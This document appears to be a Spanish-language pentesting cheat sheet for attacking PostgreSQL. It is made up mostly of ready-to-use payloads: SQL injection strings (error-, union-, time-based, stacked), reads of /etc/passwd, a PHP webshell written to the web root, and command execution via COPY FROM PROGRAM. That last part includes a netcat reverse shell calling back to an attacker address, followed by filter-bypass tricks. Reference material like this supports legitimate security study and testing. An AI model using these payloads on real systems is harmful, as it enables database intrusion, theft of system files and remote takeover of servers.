# PostgreSQL

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Versión <a href="#enumeracion-version" id="enumeracion-version"></a>

```sql
# Versión
SELECT version()
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

```sql
# Usuario actual
SELECT current_user
```

### Privilegios <a href="#enumeracion-privilegios" id="enumeracion-privilegios"></a>

```sql
# Privilegio de superusuario
SELECT current_setting('is_superuser')
```

### Bases de datos <a href="#enumeracion-bases-de-datos" id="enumeracion-bases-de-datos"></a>

```sql
# Listado de base de datos
SELECT datname FROM pg_database
```

### Tablas <a href="#enumeracion-tablas" id="enumeracion-tablas"></a>

```sql
# Tablas de una base de datos
SELECT table_name FROM <database>.information_schema.tables WHERE table_schema='public'
```

### Columnas <a href="#enumeracion-columnas" id="enumeracion-columnas"></a>

```sql
# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'
```

### Datos <a href="#enumeracion-datos" id="enumeracion-datos"></a>

```sql
# Datos de una tabla
SELECT * FROM <table>
SELECT * FROM <database>.<schema>.<table>
```

## Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

```sql
# Versión
CAST(version() AS INT)
' AND 1=(SELECT CAST(version() AS INT))
```

```sql
# Listado de base de datos
CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
```

```sql
# Tablas de una base de datos
CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
```

```sql
# Columnas de una tabla
CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
```

```sql
# Datos de una table (Error-based SQLi + Stacked Queries SQLi)
';SELECT CAST(CAST(QUERY_TO_XML('SELECT * FROM <table> LIMIT 3',TRUE,TRUE,'') AS TEXT) AS INT)
```

## Union-based SQLi <a href="#union-based-sqli" id="union-based-sqli"></a>

### Obtener información dentro de una sola columna <a href="#union-based-sqli-obtener-informacion-dentro-de-una-sola-columna" id="union-based-sqli-obtener-informacion-dentro-de-una-sola-columna"></a>

```sql
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -
```

## Time-based SQLi

```sql
|| (SELECT 1 FROM PG_SLEEP(10))
```

## Stacked Queries SQLi <a href="#stacked-queries-sqli" id="stacked-queries-sqli"></a>

```sql
;SELECT version()
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)
```

## Lectura y escritura de archivos

Para realizar operaciones de lectura y escritura de archivos mediante el comando `COPY`, el usuario debe contar con privilegios de superusuario o, alternativamente, poseer los roles `pg_read_server_files` y `pg_write_server_files`, respectivamente.

```sql
# Privilegio de superusuario
SELECT current_setting('is_superuser')

# Roles pg_read_server_files / pg_write_server_files
SELECT r.rolname, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) AS memberof FROM pg_catalog.pg_roles r WHERE r.rolname='fileuser';
```

### Lectura <a href="#lectura-de-archivos" id="lectura-de-archivos"></a>

```sql
SELECT pg_read_file('/etc/passwd')
```

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
```

Un inconveniente al usar el comando `COPY` para leer archivos es que espera que los datos estén separados por columnas, usando por defecto el carácter de tabulación `\t` como delimitador. Sin embargo, se puede cambiar este delimitador por otro carácter poco común, como `\x07`, para evitar errores durante la lectura.

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/hosts' DELIMITER E'\x07';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
```

#### Lectura con Large Objects

```sql
# Carga de archivo
SELECT lo_import('/etc/passwd');

# Obtener todos los object IDs
SELECT DISTINCT loid FROM pg_largeobject;

# Lectura de archivo
## Opción 1
SELECT lo_get(<object-id>);
## Opción 2
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=0;
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=1;
## Conversión de hexadecimal
echo <hexadecimal> | xxd -r -p
```

### Escritura <a href="#escritura-de-archivos" id="escritura-de-archivos"></a>

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
COPY tmp (data) TO '/var/tmp/temp.txt';
DROP TABLE tmp;
```

#### Webshell <a href="#escritura-de-archivos-webshell" id="escritura-de-archivos-webshell"></a>

```sql
CREATE TABLE tmp(data TEXT);
INSERT INTO tmp(data) VALUES ('<?php echo system($_GET["cmd"]); ?>');
COPY tmp(data) TO '/var/www/html/webshell.php';
```

#### Escritura con Large Objects

```bash
split -b 2048 /etc/passwd
xxd -ps -c 9999999999 xaa
xxd -ps -c 9999999999 xab
```

```sql
SELECT lo_create(1337);
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 0, DECODE('<hexadecimal>','HEX'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 1, DECODE('<hexadecimal>','HEX'));
SELECT lo_export(1337, '/tmp/passwd');
SELECT lo_unlink(1337);
cat /tmp/passwd
```

## Remote Code Execution (RCE)

Para usar COPY con ejecución de comandos, el usuario debe contar con privilegios de superusuario o tener el rol `pg_execute_server_program`.

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM PROGRAM 'id';
SELECT * FROM tmp;
DROP TABLE tmp;
```

### Reverse shell

Ejecución de Netcat en máquina atacante en modo escucha.

```sh
nc -lvnp <listen-port>
```

Ejecución de reverse shell.

```sql
;CREATE TABLE revshell(data TEXT); COPY revshell FROM PROGRAM 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-IP-address> <listen-port> >/tmp/f';SELECT * FROM revshell; DROP TABLE revshell;-- -
```

## Evasión de filtros

### Bypass de filtro de espacio

Usar `/**/` en lugar de espacio.

```sql
' AND 1=1-- -
'/**/AND/**/1=1-- -
```

### Bypass de filtro de comillas simples (single quotes)

En PostgreSQL los dos signos de dólar `$$` se utilizan para delimitar cadenas de texto.

```sql
' UNION SELECT '1','2','3'-- -
' UNION SELECT $$1$$,$$2$$,$$3$$-- -
```
